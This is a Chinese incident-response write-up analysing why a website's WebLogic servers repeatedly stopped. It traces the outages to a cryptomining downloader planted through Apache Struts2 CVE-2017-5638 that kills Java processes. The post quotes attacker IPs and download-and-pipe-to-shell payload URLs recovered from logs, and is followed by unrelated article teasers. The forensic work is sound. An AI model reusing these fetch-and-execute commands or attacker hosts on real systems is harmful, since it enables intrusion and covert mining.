日志分析之某网站weblogic服务停止事件分析

访客3年前黑客文章976

背景

1. ?某网站出现weblogic多次服务停止事件,时间分别为:(2018年1月2日:9点、14点、15点。1月3日:9点、14点,具体时间无)。

2. 网站方提供恶意代码附件”恶意代码.txt”,该恶意代码执行后导致weblogic停止。

3. ?已知的IP信息如下:

受害服务器IP(2台):10.*.*.47、10.*.*.48

负载均衡:10.*.*.43

4. ?现提供weblogic 中间件日志和各安全设备日志。

分析过程

当发生安全应急事件的时候,我们应该从何处着手,如何找线索并展开分析的思路是最重要的。应急响应检测阶段的技术过程可参考我之前发过的一篇观点文章《应急响应检测阶段技术流程》。里面提出了一个"点线面"模型观点,本次为复盘日志分析,着重日志分析而非应急响应,而且由于是久远的一次事件,当时的应急响应人员可能数据没要齐全,因此完全参考“点线面”模型肯定不现实,但是可以参考该模型进行模拟复盘。

一、确定事件输入点

根据“点线面”模型里的流程,在确定事件输入点时我们需要清楚三点:1.异常是什么,2.产生异常涉及的系统是哪些(ip,业务,开放的服务,系统类型),3.这些受害主机产生异常的原因是什么。根据背景可知异常为weblogic多次停止运行,涉及受害系统IP(2台):10.*.*.47、10.*.*.48。产生该异常的原因我们可通过审计甲方提供的恶意代码,发现导致weblogic服务停止的原因在于,恶意代码中读取过滤java相关进程后使用kill -9命令进行进程杀灭,java进程被杀后进而导致的weblogic服务停止。此时可确定为受到攻击导致的异常。

在审计该恶意代码时,发现其杀灭java进程后到165.227.215.25下载名为xmrig-y的文件。

由于是复盘分析,攻击者服务器早已关停,无法下载xmrig-y文件。但是可以到威胁情报平台((奇安信,微步在线,virustotal等))查询恶意ip:165.227.215.25,发现其标签为挖矿。并找到关联样本

虽然说威胁情报平台已经将样本进行了标签,但是实际过程中可能威胁情报平台当时并未及时收录到此攻击的相关情报。因此拿到样本可将其上传到沙箱运行,沙箱分析结果显示为挖矿脚本,并发现其内部外联通讯地址IP:145.239.0.84。

同时可通过手工分析,使用strings工具查询恶意代码内部字符串,发现可疑协议stratum+tcp://

确定为挖矿通信协议。至此,可知本次攻击的目的为挖矿。二、线索推断

由提供的恶意代码(下载器)分析可知其针对java相关进程,通过逆向思维反推,针对java那么只有是知道其存在Java了才会进行针对,也即是说通过java相关应用进来的才会知道是存在java的,本次事件中则可将weblogic服务作为更大嫌疑入口点,另外挖矿攻击一般使用某种漏洞或通用弱点进行批量攻击。因此,可认为是通过weblogic相关漏洞进行的入侵并展开日志分析验证。

三、日志分析策略

已有安全设备日志,weblogic运行日志,web access日志。在未知攻击ip,已知受害IP和可疑攻击方式下的分析策略如下:

1.首先分析安全设备日志,因为安全设备的告警就已经是为我们过滤掉了很大部分的正常访问日志。

从威胁感知设备日志中筛选出受害IP:10.*.*.47、10.*.*.48及负载均衡IP:10.*.*.43的全部日志条目

发现10.*.*.47、10.*.*.48均无记录,只有负载均衡IP:10.*.*.43存在记录。由于已知的最早一次服务停止事件发生在2018年1月2日,发现从2017/12/8 6:00:34起持续存在CVE-2017-5638漏洞告警,该漏洞属于Apache Struts 2远程命令执行漏洞,恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。从时间上看攻击时间线过长,且payload单一,这时并不能将此告警排除,因为安全设备记录的payload仅是截取了匹配到规则库的一部分,并非完整的攻击载荷,攻击者可能不断完善payload进行攻击或是不同攻击者进行的攻击。并且Struts2远程命令执行漏洞跟java相关且1月2日也存在告警,因此,暂时可将该漏洞攻击作为本次事件的可疑攻击方式(在payload中发现有执行cmd.exe进行系统判断)。

编写脚本从IPS日志中筛选出受害IP:10.*.*.47、10.*.*.48及负载均衡IP:10.*.*.43的全部日志条目,发现仅有攻击IP:72.11.140.178对受害IP:10.*.*.43的TCP_Oracle_WebLogic_Server反序列化漏洞告警,且只检测不阻断。最早告警时间为2017-12-29 09:21:17

至此可将CVE-2017-5638命令执行漏洞反序列化漏洞列为可疑入侵方式。并对weblogic运行时日志进行分析(access日志为简单日志,没有分析的价值)。

2.分析weblogic运行日志。

从前面的分析,可将“cmd.exe”和“serialize”作为两个可疑漏洞的关键词对日志进行匹配分析

通过搜索关键字“cmd.exe”,发现一条命令执行失败的告警,即命令已执行,但由于操作系统或策略限制等原因执行失败。

搜索该条记录的上一邻近记录条目,发现远程下载命令并设置定时任务。下载地址:http://5.188.87.12/icons/logo.jpg|sh

http://181.214.87.240/icons/logo.jpg|sh

由该记录前半部分显示可知为文件上传且payload是在content type头中,符合CVE-2017-5638命令执行漏洞的攻击方式。而且告警为warn级别而非error级别,说明此请求是执行的

为进一步严谨性,编写脚本匹配关键字“cmd.exe”和“serialize”并输出。发现当出现携带下载地址的payload时,告警中才会出现命令执行但未成功的告警记录。而payload中的ip经过威胁情报查询,均为矿池IP。

总结

至此可得出本次攻击是攻击者:72.11.140.178 通过CVE-2017-5638命令执行漏洞进行攻击,植入恶意脚本下载器,定时启动脚本下载器执行启动下载恶意挖矿脚本,杀灭java进程导致weblogic服务时而停止。

从weblogic应用日志中未发现反序列化漏洞或存在反序列化异常告警痕迹,所以IPS日志中所报TCP_Oracle_WebLogic_Server反序列化漏洞其实为CVE-2017-5638命令执行漏洞告警,仅因为命令执行payload中存在类似#ognlUtil.getExcludedPackageNames()之类的字符导致触发匹配反序列化规则。而威胁感知设备似乎并未能检测出并记录到该攻击成功的payload。


相关文章

什么牌子奶粉好喝?6款宝妈公认的好牌子,绝对

什么牌子奶粉好喝?6款宝妈公认的好牌子,绝对

对新手爸妈来说,给宝宝选奶粉绝对是一门高深的学问:“看配方吧,难懂的成分词让人头疼;挑品牌吧,奶粉品牌那么多,怎样才能找到心头好呢?”新手爸妈别着急!口碑是检验产品最直观的证据,而销量则是好口碑的最佳...

童年成了别人的历史是什么意思 童年里有趣好玩的事情盘点

如今小孩儿时的玩耍,和当时的我们都是彻底不一样的,仿佛大家的儿时早已变成了他人的历史时间了,是十分非常值得怀恋的一段岁月,那麼,儿时变成他人的历史时间代表什么意思?儿时里有什么好玩儿有意思的事?下边我...

总结当下最适合屌丝使用的网络推广方法

总结当下最适合屌丝使用的网络推广方法

(只要有爱,屌丝也能逆袭) 网络推广,顾名思义就是在利用互联网推广自己的产品。在百度一搜,网络推广方法一大堆,仔细一看,真正实用的方法却少之又少,适合屌丝的方法就更加少了。 其实,网络处处都能...

怎么给文件夹设密码(教你怎么给电脑中的文件

怎么给文件夹设密码(教你怎么给电脑中的文件

为我们的使用安全,大多数人都会给电脑设置一个密码,来保障我们的隐私,可是平时难免会有别人使用自己电脑的情况,而电脑上有些文件不希望被看到,怎么办?文件加密,如果要加密电脑里重要的文件夹,那么用软件给文...

14万左右买什么车好,值得购买的几款车型

14万左右买什么车好,值得购买的几款车型

想要买一部车,预算14万以内,可是在很纠结到底买什么车比较好?前面小编已经介绍了10-13万买什么车好,今天小编就继续介绍14万左右买什么车好和14万元左右的车排行榜。 福克斯 品牌:福特...

淘宝找黑客改成绩(改成绩后付款)?_资源共享社区

有一个流传很广的段子,早些年一家大型日用品公司引进了一条香皂包装生产线,结果发现这条生产线有个缺陷,经常会有空包装盒,需要人工挑选出来,非常影响效率,他们请了一个自动化专家来解决这个问题,专家组建了一...